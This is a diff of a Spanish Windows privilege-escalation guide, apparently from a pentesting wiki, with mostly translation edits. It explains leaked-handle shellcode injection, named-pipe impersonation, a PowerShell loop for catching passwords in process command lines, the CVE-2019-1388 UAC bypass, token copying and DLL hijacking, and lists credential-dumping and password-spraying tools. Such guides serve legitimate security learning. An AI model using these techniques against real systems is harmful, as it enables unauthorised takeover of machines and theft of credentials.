encontrar el registro hijo **InProcServer32** que contiene un **valor predeterminado** que apunta a una **DLL** y un valor llamado **ThreadingModel** que puede ser **Apartment** (Unico Hilo), **Free** (Multi-Hilo), **Both** (Único o Múltiple) o **Neutral** (Hilo Neutral). ![](<../../images/image (729).png>) @@ -1216,28 +1216,28 @@ Invoke-SessionGopher -Thorough Invoke-SessionGopher -AllDomain -o Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss ``` -## Manejadores Filtrados +## Leaked Handlers Imagina que **un proceso que se ejecuta como SYSTEM abre un nuevo proceso** (`OpenProcess()`) con **acceso total**. El mismo proceso **también crea un nuevo proceso** (`CreateProcess()`) **con bajos privilegios pero heredando todos los manejadores abiertos del proceso principal**.\ -Entonces, si tienes **acceso total al proceso de bajos privilegios**, puedes obtener el **manejador abierto al proceso privilegiado creado** con `OpenProcess()` e **inyectar un shellcode**.\ -[Lee este ejemplo para más información sobre **cómo detectar y explotar esta vulnerabilidad**.](leaked-handle-exploitation.md)\ -[Lee este **otro post para una explicación más completa sobre cómo probar y abusar de más manejadores abiertos de procesos y hilos heredados con diferentes niveles de permisos (no solo acceso total)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/). +Entonces, si tienes **acceso total al proceso de bajo privilegio**, puedes obtener el **manejador abierto al proceso privilegiado creado** con `OpenProcess()` e **inyectar un shellcode**.\ +[Read this example for more information about **how to detect and exploit this vulnerability**.](leaked-handle-exploitation.md)\ +[Read this **other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/). -## Suplantación de Cliente de Pipe Nombrado +## Named Pipe Client Impersonation Los segmentos de memoria compartida, conocidos como **pipes**, permiten la comunicación entre procesos y la transferencia de datos. -Windows proporciona una característica llamada **Named Pipes**, que permite a procesos no relacionados compartir datos, incluso a través de diferentes redes. Esto se asemeja a una arquitectura cliente/servidor, con roles definidos como **servidor de pipe nombrado** y **cliente de pipe nombrado**. +Windows proporciona una característica llamada **Named Pipes**, que permite a procesos no relacionados compartir datos, incluso a través de diferentes redes. Esto se asemeja a una arquitectura cliente/servidor, con roles definidos como **servidor de named pipe** y **cliente de named pipe**. Cuando se envían datos a través de un pipe por un **cliente**, el **servidor** que configuró el pipe tiene la capacidad de **asumir la identidad** del **cliente**, siempre que tenga los derechos necesarios de **SeImpersonate**. Identificar un **proceso privilegiado** que se comunica a través de un pipe que puedes imitar proporciona una oportunidad para **obtener privilegios más altos** al adoptar la identidad de ese proceso una vez que interactúa con el pipe que estableciste. Para instrucciones sobre cómo ejecutar tal ataque, se pueden encontrar guías útiles [**aquí**](named-pipe-client-impersonation.md) y [**aquí**](#from-high-integrity-to-system). -Además, la siguiente herramienta permite **interceptar una comunicación de pipe nombrado con una herramienta como burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **y esta herramienta permite listar y ver todos los pipes para encontrar privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer) +Además, la siguiente herramienta permite **interceptar una comunicación de named pipe con una herramienta como burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **y esta herramienta permite listar y ver todos los pipes para encontrar privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer) -## Varios +## Misc -### **Monitoreo de Líneas de Comando para contraseñas** +### **Monitoring Command Lines for passwords** -Al obtener un shell como usuario, puede haber tareas programadas u otros procesos que se ejecutan y **pasan credenciales en la línea de comando**. El script a continuación captura las líneas de comando de los procesos cada dos segundos y compara el estado actual con el estado anterior, mostrando cualquier diferencia. +Al obtener un shell como usuario, puede haber tareas programadas u otros procesos que se ejecutan y **pasan credenciales en la línea de comandos**. El script a continuación captura las líneas de comandos de los procesos cada dos segundos y compara el estado actual con el estado anterior, mostrando cualquier diferencia. ```powershell while($true) { @@ -1251,7 +1251,7 @@ Compare-Object -ReferenceObject $process -DifferenceObject $process2 ## De usuario de bajo privilegio a NT\AUTHORITY SYSTEM (CVE-2019-1388) / Bypass de UAC -Si tienes acceso a la interfaz gráfica (a través de consola o RDP) y UAC está habilitado, en algunas versiones de Microsoft Windows es posible ejecutar un terminal u otro proceso como "NT\AUTHORITY SYSTEM" desde un usuario sin privilegios. +Si tienes acceso a la interfaz gráfica (a través de consola o RDP) y UAC está habilitado, en algunas versiones de Microsoft Windows es posible ejecutar un terminal o cualquier otro proceso como "NT\AUTHORITY SYSTEM" desde un usuario sin privilegios. Esto hace posible escalar privilegios y eludir UAC al mismo tiempo con la misma vulnerabilidad. Además, no es necesario instalar nada y el binario utilizado durante el proceso está firmado y emitido por Microsoft. @@ -1307,7 +1307,7 @@ Lee esto para **aprender sobre los niveles de integridad**: integrity-levels.md {{#endref}} -Luego **lee esto para aprender sobre UAC y los bypasses de UAC:** +Luego **lee esto para aprender sobre UAC y los bypass de UAC:** {{#ref}} ../authentication-credentials-uac-and-efs/uac-user-account-control.md @@ -1333,20 +1333,20 @@ Desde un proceso de alta integridad, podrías intentar **habilitar las entradas ### From SeDebug + SeImpersonate to Full Token privileges -Si tienes esos privilegios de token (probablemente los encontrarás en un proceso de alta integridad), podrás **abrir casi cualquier proceso** (no procesos protegidos) con el privilegio SeDebug, **copiar el token** del proceso y crear un **proceso arbitrario con ese token**.\ -Usar esta técnica generalmente **selecciona cualquier proceso que se ejecute como SYSTEM con todos los privilegios de token** (_sí, puedes encontrar procesos SYSTEM sin todos los privilegios de token_).\ +Si tienes esos privilegios de token (probablemente los encontrarás en un proceso de alta integridad ya existente), podrás **abrir casi cualquier proceso** (no procesos protegidos) con el privilegio SeDebug, **copiar el token** del proceso y crear un **proceso arbitrario con ese token**.\ +Usar esta técnica generalmente **implica seleccionar cualquier proceso que se ejecute como SYSTEM con todos los privilegios de token** (_sí, puedes encontrar procesos SYSTEM sin todos los privilegios de token_).\ **Puedes encontrar un** [**ejemplo de código que ejecuta la técnica propuesta aquí**](sedebug-+-seimpersonate-copy-token.md)**.** ### **Named Pipes** -Esta técnica es utilizada por meterpreter para escalar en `getsystem`. La técnica consiste en **crear un pipe y luego crear/abusar un servicio para escribir en ese pipe**. Luego, el **servidor** que creó el pipe utilizando el privilegio **`SeImpersonate`** podrá **suplantar el token** del cliente del pipe (el servicio) obteniendo privilegios SYSTEM.\ +Esta técnica es utilizada por meterpreter para escalar en `getsystem`. La técnica consiste en **crear un pipe y luego crear/abusar un servicio para escribir en ese pipe**. Luego, el **servidor** que creó el pipe utilizando el privilegio **`SeImpersonate`** podrá **suplantar el token** del cliente del pipe (el servicio) obteniendo privilegios de SYSTEM.\ Si quieres [**aprender más sobre pipes nombrados, deberías leer esto**](#named-pipe-client-impersonation).\ Si quieres leer un ejemplo de [**cómo pasar de alta integridad a System usando pipes nombrados, deberías leer esto**](from-high-integrity-to-system-with-name-pipes.md). ### Dll Hijacking Si logras **secuestrar un dll** que está siendo **cargado** por un **proceso** que se ejecuta como **SYSTEM**, podrás ejecutar código arbitrario con esos permisos. Por lo tanto, el Dll Hijacking también es útil para este tipo de escalada de privilegios y, además, es **mucho más fácil de lograr desde un proceso de alta integridad** ya que tendrá **permisos de escritura** en las carpetas utilizadas para cargar dlls.\ -**Puedes** [**aprender más sobre Dll hijacking aquí**](dll-hijacking/)**.** +**Puedes** [**aprender más sobre Dll hijacking aquí**](dll-hijacking/index.html)**.** ### **From Administrator or Network Service to System** @@ -1375,7 +1375,7 @@ https://github.com/sailay1996/RpcSsImpersonator [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- Extrae información de sesiones guardadas de PuTTY, WinSCP, SuperPuTTY, FileZilla y RDP. Usa -Thorough en local.**\ [**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Extrae credenciales del Administrador de Credenciales. Detectado.**\ [**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Rocía contraseñas recopiladas a través del dominio**\ -[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh es un spoofeador y herramienta de hombre en el medio de PowerShell ADIDNS/LLMNR/mDNS/NBNS.**\ +[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh es una herramienta de suplantación y hombre-en-el-medio de PowerShell ADIDNS/LLMNR/mDNS/NBNS.**\ [**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Enumeración básica de privesc en Windows**\ [~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Busca vulnerabilidades de privesc conocidas (DEPRECATED for Watson)\ [~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Comprobaciones locales **(Necesita derechos de administrador)**